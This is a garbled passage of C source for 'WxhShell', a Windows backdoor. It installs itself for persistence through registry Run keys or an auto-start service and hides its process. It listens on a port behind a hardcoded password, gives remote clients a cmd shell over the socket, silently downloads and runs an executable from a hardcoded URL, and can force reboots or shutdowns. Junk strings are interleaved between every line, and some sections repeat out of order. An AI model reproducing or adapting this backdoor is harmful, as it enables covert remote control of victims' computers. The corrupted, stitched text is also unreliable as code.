l!|c_ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z;.-UXat NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |NfFe*q0;8 =*,SD if (!NtQueryInformationProcess) return 0; %PYl +'?Qph6o,7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^&eF916H if(!hProcess) return 0; a+^`+p/5 `$6o*g>: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lhN@,q wX"hUu CloseHandle(hProcess); 4qOzjEQ te+} j7SU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +FTc/r if(hProcess==NULL) return 0; b&z#ZY \Z]+j@9 HMODULE hMod; uYUFxm char procName[255]; \HeJc:^ unsigned long cbNeeded; e%\^V\L 7=l~fKu if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NfgXOLthM n$/|r CloseHandle(hProcess); x%B_v^^^ _gT65G~z if(strstr(procName,"services")) return 1; // 以服务启动 *4cuWkQ, /s\ mV return 0; // 注册表启动 xE1?) } (g##wa)L fq7#rZCxX // 主模块 <|Td0|x
_q int StartWxhshell(LPSTR lpCmdLine) oPSPb(. { uBm"Xkxe|w SOCKET wsl; FZe/3sY BOOL val=TRUE; ZoG@"vr2 int port=0; nQF&^1n struct sockaddr_in door; 1V%tev9a 5
D|#l*V if(wscfg.ws_autoins) Install(); CsO!Y\'FY #"gt&t9Q port=atoi(lpCmdLine); \((iR>^| mrTf["K if(port<=0) port=wscfg.ws_port; 2f,8Jnia S,&LH-ps WSADATA data; ~MG6evm & if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K.Xy:l*z 'oa.-g 5 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +IdM|4$\1 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'n &p5% door.sin_family = AF_INET; k<9,Ypa
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )&c2+Y@ door.sin_port = htons(port); !nmZ"n|}p P3oYk_oW if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $@AJg closesocket(wsl); ,1-%C) return 1; 2q?/aw ;Z } k[Em~>m JX59n%$@ if(listen(wsl,2) == INVALID_SOCKET) { Hv/C40uM- closesocket(wsl); `G\
qGllX return 1; *p{p.%Qs: } j=0kxvp Wxhshell(wsl); \8{SQ% WSACleanup(); )."ob=m ^twyy9VR return 0; YU,zQ V' 8lF9LZ8 } {v"f){ Tuvs} // 以NT服务方式启动 Kzev] er VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Kw fd
S( { 5_^d3LOT0x DWORD status = 0; c &c DWORD specificError = 0xfffffff; & 9e &8VH m?h serviceStatus.dwServiceType = SERVICE_WIN32; {z o GwB serviceStatus.dwCurrentState = SERVICE_START_PENDING; frcAXh9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uP9b^LEoN serviceStatus.dwWin32ExitCode = 0; IOHWb&N6 serviceStatus.dwServiceSpecificExitCode = 0; Zg+.`>z serviceStatus.dwCheckPoint = 0; `I7s|9-= serviceStatus.dwWaitHint = 0; $QiMA, D0J{pAJ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^#5'` #t if (hServiceStatusHandle==0) return; U&3!=|j b: (+d"S status = GetLastError(); -x?Z2EA! if (status!=NO_ERROR) P2'c{],3V { zC*FeqFL< serviceStatus.dwCurrentState = SERVICE_STOPPED; AQ-PHv serviceStatus.dwCheckPoint = 0; 4K cEJlK5 serviceStatus.dwWaitHint = 0; TQ\#Z~CbK{ serviceStatus.dwWin32ExitCode = status; p5]W2i., serviceStatus.dwServiceSpecificExitCode = specificError; N[@~q~v SetServiceStatus(hServiceStatusHandle, &serviceStatus); B7Ket8<J return; :$I"n\ } DN^+"_:TB \Fjasz5E' serviceStatus.dwCurrentState = SERVICE_RUNNING; tMLiG4
|7 serviceStatus.dwCheckPoint = 0; \d:Q%S serviceStatus.dwWaitHint = 0;
]Zb9F[ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IB|!51H } xWLZlUHEu [Or1 // 处理NT服务事件,比如:启动、停止 }w)}=WmD VOID WINAPI NTServiceHandler(DWORD fdwControl) 9@1n:X { /CALXwL switch(fdwControl) Q`i@['?p { "OwM'
n8 case SERVICE_CONTROL_STOP: K^x{rn.Zf serviceStatus.dwWin32ExitCode = 0; h.-L_!1B7 serviceStatus.dwCurrentState = SERVICE_STOPPED; {X?Aj >l serviceStatus.dwCheckPoint = 0; FqyxvL. serviceStatus.dwWaitHint = 0; ~{DJ,(N"n { a@g
<cl7a, SetServiceStatus(hServiceStatusHandle, &serviceStatus); LcLHX } gZHgL7@ return; KyIUz9$ case SERVICE_CONTROL_PAUSE: .LAB8bg serviceStatus.dwCurrentState = SERVICE_PAUSED; U/FysN_N! break; b!t[PShw^ case SERVICE_CONTROL_CONTINUE: 7 @\i5 serviceStatus.dwCurrentState = SERVICE_RUNNING; (KO]>!t break; tF[)Y# case SERVICE_CONTROL_INTERROGATE: &fRz6Hd break; 'xd8rN%T }; $,Q]GIC SetServiceStatus(hServiceStatusHandle, &serviceStatus); q%d,E1 } vo Et\H ;/NC[:'$D // 标准应用程序主函数 .{eMN[ n@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sv=e|!3f[k { L'Iw9RAJ ftmPdha%+ // 获取操作系统版本 }r18Y6 OsIsNt=GetOsVer(); {$t*XTY6R GetModuleFileName(NULL,ExeFile,MAX_PATH); Q~.t8g/ 7Z9'Y?[m // 从命令行安装 B0 A`@9 if(strpbrk(lpCmdLine,"iI")) Install(); o]V.6Ge- KKQT?/ {b // 下载执行文件 AP z"k?D0 if(wscfg.ws_downexe) { >/RFff]Fh0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f>xi (0 WinExec(wscfg.ws_filenam,SW_HIDE); jD<xpD } f5M;q; nN.Gn+Cl if(!OsIsNt) { )AEtW[~D // 如果时win9x,隐藏进程并且设置为注册表启动 Rkg)yme!N HideProc(); ";Cf@}i> StartWxhshell(lpCmdLine); %yc-D]P/ } yQ^, >eh else `uLr^G=; if(StartFromService()) Kt qOA[6 // 以服务方式启动 2\&3x}@ StartServiceCtrlDispatcher(DispatchTable); [&P@0Fn else L9^M?.a // 普通方式启动 3st?6?7| StartWxhshell(lpCmdLine); mc`Z;D/mt JXRU9`3)A return 0; NKEmY-f; } Hr=|xw8. _'G'>X>}WU 96;5 E;`^`T40 =========================================== `, ]ui* ab9ec Z QoUdTIIL ' A+L
#
s5G`?/ H}_R `S " K 0o F=| V=fh;p #include <stdio.h> `<~=6H #include <string.h> x'?p?u~[ #include <windows.h> a6xo U;T #include <winsock2.h> }8YY8|]LI #include <winsvc.h> $"(
15U #include <urlmon.h> {A< 9 61 yFeFI@Hp 3 #pragma comment (lib, "Ws2_32.lib") u^MRKLn #pragma comment (lib, "urlmon.lib") vw:GNpg'R6 RhB)AUAj #define MAX_USER 100 // 最大客户端连接数 pl[@U<8aw #define BUF_SOCK 200 // sock buffer 9MO=f^f- #define KEY_BUFF 255 // 输入 buffer J,?F+Qji&= IUEpE9_ #define REBOOT 0 // 重启 xR
kw+ #define SHUTDOWN 1 // 关机 w
oIZFus h*40jZ #define DEF_PORT 5000 // 监听端口 a}FY^4hl+ :JX2GRL4 #define REG_LEN 16 // 注册表键长度 Sx
J0Y8#z #define SVC_LEN 80 // NT服务名长度 <[
2?~s $mAC8a_Zu // 从dll定义API 5y
g`TW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }ssja,; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W 2[]m>; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^$%
Sg// typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R@pY+d9qp <FU?^*~ // wxhshell配置信息 _#r00Ze struct WSCFG { uJH[C> int ws_port; // 监听端口 ZB)R4 char ws_passstr[REG_LEN]; // 口令 N>*+Wg$Ne int ws_autoins; // 安装标记, 1=yes 0=no J]Z~.f=" char ws_regname[REG_LEN]; // 注册表键名 Y-y yg4JH char ws_svcname[REG_LEN]; // 服务名 LWTPNp:"{w char ws_svcdisp[SVC_LEN]; // 服务显示名 R3a}YwJFXF char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZQfPDH= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V7nOT*N:Q int ws_downexe; // 下载执行标记, 1=yes 0=no OqciZ@#5n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g<;::'6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2IM31 . M.s'~S7y }; i@5Fne 2YKa <?_ // default Wxhshell configuration KgkRs?'z struct WSCFG wscfg={DEF_PORT, AnX<\7bc} "xuhuanlingzhe", K.mxF,H 1, _9 '_w& "Wxhshell", -j]k^ "Wxhshell", x,U_x "WxhShell Service", OrM1eP"I "Wrsky Windows CmdShell Service", <C(o0u&/ "Please Input Your Password: ", f4Y)GO<R] 1, HW~-GcU-o "http://www.wrsky.com/wxhshell.exe", xR3$sA2 "Wxhshell.exe" Ws`ndR }; /qIl)+M rq8 d}wj // 消息定义模块 lcm[l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kq5X<'MM9N char *msg_ws_prompt="\n\r? for help\n\r#>";
JL1A3G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jmkOu5@ char *msg_ws_ext="\n\rExit."; y{hy7w' d char *msg_ws_end="\n\rQuit."; < z2wt char *msg_ws_boot="\n\rReboot..."; BXYH&2]Q char *msg_ws_poff="\n\rShutdown..."; lh"*$.j- char *msg_ws_down="\n\rSave to "; `2@.%s1o= ySmbX char *msg_ws_err="\n\rErr!"; 3*=0`}jMJ char *msg_ws_ok="\n\rOK!"; gd*Gn" w(6n char ExeFile[MAX_PATH]; \$wkr int nUser = 0; 0Z8"f_GK HANDLE handles[MAX_USER]; .M^[/! int OsIsNt; tWIJ,_8l yzhNl'Rz SERVICE_STATUS serviceStatus; DpgTm&}- SERVICE_STATUS_HANDLE hServiceStatusHandle; _{cCo: R03 Te gwA // 函数声明 DaQl ip int Install(void); R);Hd1G int Uninstall(void); ~bhS$*t64 int DownloadFile(char *sURL, SOCKET wsh); /qX?ca1_4^ int Boot(int flag); a9.yuSzL void HideProc(void); ]oB~8d int GetOsVer(void); 9KXL6#h int Wxhshell(SOCKET wsl); c[,h|~K/_? void TalkWithClient(void *cs); ;Y^'$I2fR# int CmdShell(SOCKET sock); Zj_2>A int StartFromService(void); O1z]d3x
int StartWxhshell(LPSTR lpCmdLine); 'f-r 6'_ZX FzJ7 OE| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W}CM;~*L VOID WINAPI NTServiceHandler( DWORD fdwControl ); xmvE*q"9] x)~i`$ // 数据结构和表定义 {p84fR1P SERVICE_TABLE_ENTRY DispatchTable[] = @vt.Db { g F*AS(9 {wscfg.ws_svcname, NTServiceMain}, -[=eVS.2% {NULL, NULL} i3,IEN }; H;1@]|sH# @x}"aJgl // 自我安装 3#>W\_FY*D int Install(void) "Wwu Ty| { p%3z*2,( char svExeFile[MAX_PATH]; At iUTA
HKEY key; .$18%jH# strcpy(svExeFile,ExeFile); $8=|<vt } a9Ah:.7/ // 如果是win9x系统,修改注册表设为自启动 R c+olJ^5 if(!OsIsNt) { &<PIm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P]43FPb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $^ws#}j RegCloseKey(key); K& #il if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5qb93E"C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4E39]vb RegCloseKey(key); =&bI- return 0; Ktq 4b%{ } hx:q@[ +J/ } M^o_='\bE } SiLW[JXd else { DiFYVR<@ }KI/fh // 如果是NT以上系统,安装为系统服务 . <"XE7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =nhY;pY3u if (schSCManager!=0) [7Lr" { dHc\M|HCC SC_HANDLE schService = CreateService (~GQncqa ( h_%q`y , schSCManager, {zwH3)|Hn wscfg.ws_svcname, 9TW[;P2> ) wscfg.ws_svcdisp, zjpZ] $ SERVICE_ALL_ACCESS, : ky`)F` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wjA
wJOw| SERVICE_AUTO_START, !T{+s
T SERVICE_ERROR_NORMAL, QyD0WC}i svExeFile, 'hpOpIsHa NULL, +%JBr+1#\ NULL, K-0=#6?y4 NULL, Xz_WFLq4 NULL, ZL(
j5E NULL &93{>caf+ ); o,6t:?Z if (schService!=0) 0k]ApW { F]\
Sk'}& CloseServiceHandle(schService); Z0,jg)sA4 CloseServiceHandle(schSCManager); uX_H;,n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FK _ ZE> strcat(svExeFile,wscfg.ws_svcname); >,e^}K}C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l0qaTpn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IO\l8G RegCloseKey(key); )?F&`+ return 0; e\%,\uV} } VOEV[?>ss } 4p:d#,?r CloseServiceHandle(schSCManager); ;4nY{)bD } >y3FU1w5d } >q"dLZ `i.BB jx` return 1; ,mHME~ } Y^fw37b \ruQx)5M // 自我卸载 I!lDKS,b int Uninstall(void) Tagf7tw4 { Q:-T'xk@ HKEY key; O^L]2BVC CX|W$b)% if(!OsIsNt) { {9@D zP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4V@%Y,:ee RegDeleteValue(key,wscfg.ws_regname); }]x \ `}o RegCloseKey(key); /K:r4Kw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Fe6L;^; RegDeleteValue(key,wscfg.ws_regname); rzfLp RegCloseKey(key); ~; 9HGtg return 0; :u>RyKu|&R } Z-iU7 O } %7#<K\]) } ;UQGi}?CD else { %_(vSpk FM{f{2j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q0.!T0i if (schSCManager!=0) p<5]QV7st { Z)@vJZ*7( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y2`sL,'h if (schService!=0) ?P
kJG,~ { E'08'8y if(DeleteService(schService)!=0) { hb`9Vn\-E CloseServiceHandle(schService); @{/)k%U CloseServiceHandle(schSCManager); %2QGbnt_* return 0; I9X\@lTf } )z[C= CloseServiceHandle(schService); ,^/Wv!uPE } ]Lv P)0= CloseServiceHandle(schSCManager); =pL$*`]? } Nq8ON!<< } (TZK~+]@sb "qmSwdM return 1; *C_A(n5"V } q/s-".%P K=gg <E< // 从指定url下载文件 ~74Sq'j9Wt int DownloadFile(char *sURL, SOCKET wsh) YVIE v { &g:( I HRESULT hr; g}_2T\$k char seps[]= "/"; VVJ0?G
(? char *token; #Vk? char *file; iOiFkka char myURL[MAX_PATH]; *AH`ob} char myFILE[MAX_PATH]; 4|x_C-@ t&?jJ7 (&8 strcpy(myURL,sURL); |`T7}U token=strtok(myURL,seps); -.D?Z8e while(token!=NULL) v=k+MvX { FLmD?nw file=token; " MnWd BS token=strtok(NULL,seps); }&0LoW/ } Ed=/w6< +hRy{Ps/ GetCurrentDirectory(MAX_PATH,myFILE);
2E*=EjGV strcat(myFILE, "\\"); tA(oD4H9 strcat(myFILE, file);
+SFFwjI send(wsh,myFILE,strlen(myFILE),0); k4{!h?h send(wsh,"...",3,0); Ej(BE@6>s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZqclmCi if(hr==S_OK) SeHrj&5U return 0; |lNp0b else 72l:[5ccR return 1; }a" =K%b<\ Xu-~j! } aO{@. j@xIa-{* // 系统电源模块 Tvv>9gS int Boot(int flag) r_+Vb*|Y { ]
(e ,J HANDLE hToken; 6ALjM-t=V TOKEN_PRIVILEGES tkp; 3@~a)E}T @Ou
H=<YN if(OsIsNt) { Y -it3q'Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \GEz.Vb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S)hDsf.I tkp.PrivilegeCount = 1; Zh8\B)0unn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H9WYt# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lWRl if(flag==REBOOT) { U$2Em0HO} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,7V?Kj return 0; ! $JX3mP } gP>pbW_ else { C@a I*+@-" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vHvz-3 return 0; DN%}OcpZ }
ZX/FIxpy } HzM\<YD else { W3~u J( if(flag==REBOOT) { gdIk%m4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O
_9r-Zt^ return 0; X3sAy(q } G@P;#l`(D else { 3$"V,_TBZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G$,s.MSf return 0; ZV{C9S& } C]b:#S ${ } l2;$qNAo b@J "b( return 1; N[eLQe]q } k
-G9'c~ )2c]Z| // win9x进程隐藏模块 *Xnf}Ozx void HideProc(void) ?=lb@U { U-DQ?OtmC@ 6wpW!SWD HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5&%M L if ( hKernel != NULL ) YWU@e[ { yr'-;-u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (A=PDjP! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ou0TKE9
_ FreeLibrary(hKernel); OcUj_Zd } T^!Q(`* SE*;6&yL return; cq>J]35 } y)K Iz u.q3~~[= // 获取操作系统版本 }h`z2%5o int GetOsVer(void) %3dc_YPS { $-/-%= OSVERSIONINFO winfo; c)
Eu(j\# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8(j]=n6r GetVersionEx(&winfo); i'<hT
q4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XR",.3LD return 1; ([<{RjPb else e!0xh return 0; +76'(@(1Y } (}F@0WYT^O !Gnm<|. // 客户端句柄模块 iJdJP)!tz6 int Wxhshell(SOCKET wsl) gGE{r}$ { Tp@Yn SOCKET wsh; L[PqEN\i struct sockaddr_in client; n7i~^nf> DWORD myID; ]*]*O|w ;Qy Ew5 while(nUser<MAX_USER) ;Mq'+4$ { Fep@VkN int nSize=sizeof(client); i|<wnJu wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *CGHp8 if(wsh==INVALID_SOCKET) return 1; xj33g6S 8\E=p+C handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Y% if(handles[nUser]==0) lq-F*r\/~+ closesocket(wsh); wx-&(f else V}vL[=QFZ( nUser++; %{'[S0 @Z } d$o m\@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {R(/Usg!= RF8,qz return 0; Q,9KLi3 } "r;cH5 3 Tq*<J~- // 关闭 socket $Vp&7OC] void CloseIt(SOCKET wsh) ~BTm6*'h { 3v$n}. closesocket(wsh); 9FC_B+7 nUser--; ,h%n5R$: ExitThread(0); fWJOP sp*/ } g<~ODMCO?W orWF>o=1 // 客户端请求句柄 =}%:4 void TalkWithClient(void *cs) lpd~U 2& { o4 "HE* 08@4u
L SOCKET wsh=(SOCKET)cs; -A}$5/ char pwd[SVC_LEN]; Yrf?|, char cmd[KEY_BUFF]; 4]zn,g?& char chr[1]; 902A,*qq int i,j; EhD% h`Ej>O7m while (nUser < MAX_USER) { =|O]X|y-lZ >yenuqIKQv if(wscfg.ws_passstr) { #mioT",bm= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b+RU <qR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eJ[+3Wh //ZeroMemory(pwd,KEY_BUFF); X`Lv}6}xT i=0; 4`5W] J]6 while(i<SVC_LEN) { ZHwN3 3>5gh8!- // 设置超时 J#w=Z>oz < fd_set FdRead; WSF$xC/~ struct timeval TimeOut; = ?/6hB=7< FD_ZERO(&FdRead); .2P3 !KCL FD_SET(wsh,&FdRead); 7"eIZ TimeOut.tv_sec=8; kSJ;kz,_ TimeOut.tv_usec=0; bA6^RIf? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); we}5'bS> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .1h\r,
# 1*#hIuoj' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <vs*aFq pwd=chr[0]; o|n+;h
if(chr[0]==0xd || chr[0]==0xa) { 5^qs>k[mN pwd=0; B'B0 e` break; 1_xkGc-z< } ,o
`tRh< i++; ,rY}IwMw } HA$7Q~{N-t RU.MJ
kYQ5 // 如果是非法用户,关闭 socket 2
=>3B if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4;jAdWj3 } +U1fa9NSn t=fAG,k5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n68qxD-X send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O#^qd0e'P! sV%=z}n= while(1) { frQ=BV5%6 EN>a^B+! ZeroMemory(cmd,KEY_BUFF); 4dz Ym+vJm (:+Wc^0 // 自动支持客户端 telnet标准 m*e8j[w# j=0; qIy9{LF while(j<KEY_BUFF) { Vn^8nS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O" [#g cmd[j]=chr[0]; .(Z^[C} if(chr[0]==0xa || chr[0]==0xd) { bL:+(/: cmd[j]=0; ldKLTO*& break; B( wi+; } m KKa0" j++; -&y&b- } UBuG12U4Y *MWI`=c // 下载文件 {Z$]Rj if(strstr(cmd,"http://")) { Tz(Dhb, send(wsh,msg_ws_down,strlen(msg_ws_down),0); lP(<4mdP if(DownloadFile(cmd,wsh)) M;z )c|Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$r!eFY; else hg^klQD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); naY#`xig } O4W2X@ else { h9%.tGx gi/W3q3c6 switch(cmd[0]) { [}l
1`> Bo*Wm
w // 帮助 pAtxEaXh case '?': { p!(]`N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;4vx+> - break; xAf?E%_pi } %(1y // 安装 {RH)&k&% case 'i': { Fz$^CMw5K if(Install()) W$R@Klz send(wsh,msg_ws_err,strlen(msg_ws_err),0); {f>e~o
else ]"vpCL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nlx~yUXL4 break; d:n.Vp } n*qn8Dq // 卸载 )]JQlm:H case 'r': { e5sQl1 if(Uninstall()) )|U+<r< send(wsh,msg_ws_err,strlen(msg_ws_err),0); QJH~YV\% else IkLcL8P^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E-#}.}i5 break; a&`Lfw" } ]u
>~: // 显示 wxhshell 所在路径 `[4{]jX+< case 'p': { Z@#kivcpz char svExeFile[MAX_PATH]; g^2H(}frc strcpy(svExeFile,"\n\r");
["Jt2 strcat(svExeFile,ExeFile); A@ G%*\UZ send(wsh,svExeFile,strlen(svExeFile),0); ^<e(3S: break; ~,84E [VV } GplEad
$ // 重启 dMH}%f5;1 case 'b': { ]*AQT7PH send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !2g*=oY if(Boot(REBOOT)) Y{dj~}mM+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); )!D,;,aQ else { %y\ closesocket(wsh); @yn1#E, ExitThread(0); , *Z!Bd8 } pU@&- break; xR5zm%\ } *h"7!g // 关机 h!]=)7x; case 'd': { i}LVBx"K( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~0gHh if(Boot(SHUTDOWN)) e:WKb9nT send(wsh,msg_ws_err,strlen(msg_ws_err),0); glRHn?p else { kCU(Hi`Q closesocket(wsh); :.fm LL ExitThread(0); xAAwH@ + } "?{=|%mf break; .|3&lb6 } r(c8P6_ // 获取shell Wc{/K6]f case 's': { H<wkD9v}H5 CmdShell(wsh); q{+Pf/M5 closesocket(wsh); 10e~Yc ExitThread(0); 1ihdH1rg[ break; [-JU(:Rh } zM|Y
X< // 退出 C.9l${QU case 'x': { ABnJ{$=n# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %pImCpMR CloseIt(wsh); 6n$g73u<=3 break; Z {*<Gx } ?hnxc0~P // 离开 :PDyc(s{ case 'q': { E(Y}*.\]#s send(wsh,msg_ws_end,strlen(msg_ws_end),0); XlU`jv+ closesocket(wsh); W v!%'IB WSACleanup(); ]*vv=@"`e exit(1); 4xD`Z_U break; :5BVVa0oR } QNgfvy } 4Yya+[RY } 8~8VoU& #\$AB_[ot> // 提示信息 y^hCO:`l3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jZ> x5 W }
0ZJt } [$%O-_x ^;a~_9
m- return; &`Ek-b!7 } &O.lIj#FR <e@+w6Kp'7 // shell模块句柄 [^2c9K^NK int CmdShell(SOCKET sock) 6ly`lu9 { SK;c
D>) STARTUPINFO si; fy|$A@f
ZeroMemory(&si,sizeof(si)); g.T:72" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :"I!$_E' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NNP ut$. PROCESS_INFORMATION ProcessInfo; h@yn0CU3. char cmdline[]="cmd"; 7HM%Cd CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y2Y)| <FH return 0; IcP\#zhEv } &*8_ w- 6#(==}Sm+ // 自身启动模式 V(3=j)# int StartFromService(void) 'CA{>\F$F+ { mL]a_S{H typedef struct &Na,D7A:3I { r: M>/Z/ DWORD ExitStatus; 2nkymEPu
DWORD PebBaseAddress;
$u
P'> DWORD AffinityMask; 85Red~-M DWORD BasePriority; ,v$Q:n| ULONG UniqueProcessId;
`A ^ ULONG InheritedFromUniqueProcessId; ME.a * v } PROCESS_BASIC_INFORMATION; 6,a:s:$>}R dh
S7}n PROCNTQSIP NtQueryInformationProcess; xY>@GSO1 rc`}QoB)R static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ UGR+0'Q\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z~(3S8$ H?_>wQj& HANDLE hProcess; sFV&e->AN\ PROCESS_BASIC_INFORMATION pbi; xTg=oq N`et]'_A} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ce:p* if(NULL == hInst ) return 0; ;{89 *e*) F_F02:t g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !8*lU2 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]I'dnd3e NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O QGKH6q y,s`[=CT if (!NtQueryInformationProcess) return 0; h yK&)y?~ f@Yo]F U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?!HU$> if(!hProcess) return 0; O_\%8*; <NXJ&xs-+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RG_.0'5=hc yc+pNC)ue_ CloseHandle(hProcess); vb`R+y@ R9\ )a2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zd|n!3; if(hProcess==NULL) return 0; 'e/wjV HT
